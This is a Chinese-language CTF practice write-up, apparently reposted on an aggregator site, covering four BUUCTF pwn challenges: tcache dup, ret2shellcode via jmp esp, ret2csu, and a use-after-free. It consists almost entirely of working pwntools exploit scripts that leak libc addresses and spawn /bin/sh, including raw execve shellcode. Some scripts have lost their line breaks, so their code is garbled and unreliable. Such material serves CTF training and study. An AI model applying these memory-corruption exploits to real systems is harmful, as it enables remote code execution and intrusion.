PWN-PRACTICE-BUUCTF-18

PWN-PRACTICE-BUUCTF-18

    • ciscn_2019_final_3
    • ciscn_2019_s_9
    • jarvisoj_level5
    • pwnable_hacknote

ciscn_2019_final_3

tcache dup
参考:[V&N2020 公开赛]easyTHeap + ciscn_2019_final_3 ——heap中tcache的一些简单利用方法

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ciscn_final_3")
io=remote("node4.buuoj.cn",27750)
elf=ELF("./ciscn_final_3")
libc=ELF("./libc.so.6")def add(index,size,content):io.sendlineafter("choice > ","1")io.sendlineafter("input the index\n",str(index))io.sendlineafter("input the size\n",str(size))io.sendlineafter("write something\n",content)
def free(index):io.sendlineafter("choice > ","2")io.sendlineafter("input the index\n",str(index))#gdb.attach(io)
#pause()add(0,0x78,"aaaa")
io.recvuntil("gift :0x")
addr=int(io.recvuntil("\n")[:-1],16)
print("addr=="+hex(addr))
add(1,0x18,"bbbb")
add(2,0x78,"cccc")
add(3,0x78,"cccc")
add(4,0x78,"cccc")
add(5,0x78,"cccc")
add(6,0x78,"cccc")
add(7,0x78,"cccc")
add(8,0x78,"cccc")
add(9,0x78,"cccc")
add(10,0x78,"cccc")
add(11,0x78,"cccc")
add(12,0x28,"cccc")#pause()free(12)#pause()free(12)#pause()add(13,0x28,p64(addr-0x10))#pause()add(14,0x28,p64(addr-0x10))#pause()add(15,0x28,p64(0)+p64(0x421))#pause()free(0)#pause()free(1)#pause()add(16,0x78,"abcd")#pause()add(17,0x18,"1234")#pause()add(18,0x18,"5678")#pause()io.recvuntil("gift :0x")
libc_base=int(io.recvuntil("\n")[:-1],16)-0x3ebca0
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("malloc_hook=="+hex(malloc_hook))
one_gadget=libc_base+0x10a38c
print("one_gadget=="+hex(one_gadget))#pause()free(6)
free(6)#pause()add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))#pause()add(21,0x78,p64(one_gadget))#pause()io.sendlineafter("choice > ","1")
io.sendlineafter("input the index\n","22")
io.sendlineafter("input the size\n","0")#pause()io.interactive()

ciscn_2019_s_9

保护几乎全没开,无NX,堆栈可执行
利用hint的jmp esp实现ret2shellcode

from pwn import *
#io=process('./ciscn_2019_s_9')
io=remote("node4.buuoj.cn",29490)
jmp_esp=0x8048554
shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" 
payload=shellcode.ljust(0x24,'\x00')+p32(jmp_esp)
payload+=asm("sub esp,40;call esp")
io.sendline(payload)
io.interactive()

jarvisoj_level5

栈溢出,ret2csu

from pwn import *
#context.log_level='debug'
#io=process('./jarvisoj_level5')
io=remote("node4.buuoj.cn",28595)
elf=ELF('./jarvisoj_level5')
libc=ELF('./libc-2.23-x64.so')
part1=0x4006AA
part2=0x400690
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.sym['main']
pop_rdi=0x4006b3
io.recvuntil('Input:\n')
payload='a'*(0x80+8)
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):payload  = p64(part1)			# part1 entry pop_rbx_rbp_r12_r13_r14_r15_retpayload += p64(0x0)			# rbx must be 0x0payload += p64(0x1)			# rbp must be 0x1payload += p64(jmp2)			# r12 jump topayload += p64(arg3)			# r13  -> rdx    arg3payload += p64(arg2)			# r14  -> rsi    arg2payload += p64(arg1)			# r15d -> edi    arg1payload += p64(part2)			# part2 entry will call [r12+rbx*0x8]payload += 'A' * 56			# junk 6*8+8=56return payload
payload+=com_gadget(part1,part2,write_got,1,read_got,8)
payload+=p64(main_addr)
io.sendline(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main_addr)
io.sendline(payload)
io.interactive()

pwnable_hacknote

UAF,参考:pwnable.tw 堆一hacknote

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./hacknote")
io=remote("node4.buuoj.cn",29535)
elf=ELF("./hacknote")
libc=ELF("./libc-2.23-16-x32.so")
read_got=elf.got["read"]def add(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Note size :",str(size))io.sendlineafter("Content :",content)
def delete(index):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))
def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def exit():io.sendlineafter("Your choice :","4")add(0x18,"aaaa")#0
add(0x18,"bbbb")#1
delete(0)
delete(1)
add(0x8,p32(0x0804862B)+p32(read_got))
show(0)
read_addr=u32(io.recv(4))
print("read_addr=="+hex(read_addr))
libc_base=read_addr-libc.sym["read"]
system=libc_base+libc.sym["system"]
delete(2)
add(0x8,p32(system)+";sh")
show(0)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438086.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GPS/轨迹追踪、轨迹回放、围栏控制

折腾一个多月终于弄完了这个项目,起初都未曾接触GPS/轨迹追踪、轨迹回放、圈划围栏...等一些在百度地图或者Googel地图操作的一些业务,后端的业务相对来说简单点 cas单点登录,mongdb灵活的数据存储方式,ActiveMQ消息推送、Redis存储... 这篇…

PWN-PRACTICE-BUUCTF-19

PWN-PRACTICE-BUUCTF-19hitcontraining_bambooboxpicoctf_2018_shellcodenpuctf_2020_easyheapcmcc_pwnme2hitcontraining_bamboobox unlink,参考:hitcontraining_bamboobox 堆技巧 unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("…

推荐使用:Vue.js ReactJS Angular 2 AngularJS

概要: 现在, Vue 还没有 React (由 Facebook 维护) 或者 Angular 2 (受到 Google 的支持) 流行。不过,许多开发者都已经转向 Vue 了。Laravel 社区也在考虑将它作为可选用的前端框架之一。 总之,Vue 给 React & Angular 的弊病提供了一道…

PWN-PRACTICE-BUUCTF-20

PWN-PRACTICE-BUUCTF-20actf_2019_babystackpicoctf_2018_can_you_gets_mepicoctf_2018_got_shellmrctf2020_easy_equationactf_2019_babystack 两次栈迁移 # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" #ioprocess("./ACTF_2019_bab…

C#.NET Thread多线程并发编程学习与常见面试题解析-1、Thread使用与控制基础

前言:因为平时挺少用到多线程的,写游戏时都在用协程,至于协程那是另一个话题了,除了第一次学习多线程时和以前某个小项目有过就挺少有接触了,最近准备面试又怕被问的深入,所以就赶紧补补多线程基础。网上已…

PWN-PRACTICE-BUUCTF-21

PWN-PRACTICE-BUUCTF-21wdb_2018_2nd_easyfmtciscn_2019_es_1axb_2019_fmt64x_ctf_b0verfl0wwdb_2018_2nd_easyfmt 格式化字符串漏洞 第一次printf通过printf_got将printf的实际地址打印出来,计算libc基地址,得到system的实际地址 第二次printf通过prin…

OpenCR arduino problem list

OpenCR arduino problem list 1、安装 直接使用arduino boardmanager安装,下载很慢,几乎不能成功安装。借鉴http://www.rosclub.cn/post-1037.html,下载需要组件,成功安装。 需要组件opencr_core、opencr_tools、gcc-arm-none-ea…

PWN-PRACTICE-BUUCTF-22

PWN-PRACTICE-BUUCTF-22hitcontraining_unlinkpicoctf_2018_leak_mesuctf_2018_basic pwnaxb_2019_brop64hitcontraining_unlink unlink,参考:[BUUCTF]PWN——hitcontraining_unlink # -*- coding:utf-8 -*- from pwn import * #ioprocess("./bam…

javaee, javaweb和javase的区别以及各自的知识体系

JavaSE Java SE 以前称为 J2SE。它允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类,并为 Java Platform,Enterprise Edition(Java EE)提供基础。 JavaE…

PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23gyctf_2020_some_thing_excetingaxb_2019_heap[极客大挑战 2019]Not Badinndy_echogyctf_2020_some_thing_exceting 程序读取了flag到bss段上的0x6020A8地址处 存在uaf漏洞,利用fastbins的LIFO原则,create大小合适的chunk并free …

.NET 实现并行的几种方式(三)

在前两篇随笔中,先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写,在这里补充一下: 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出,ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前,如果我们使用线程。一般有以下几种方式: 使用System.Threading.Thread 类,调用实例方法Start()开启一个新线程,调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言: 项目中进行Unit Test时,肯定会用到框架,因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多,在这里只是对MS Test和NUnit Test进行一下比较, 因为这两个框架用的较多,也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…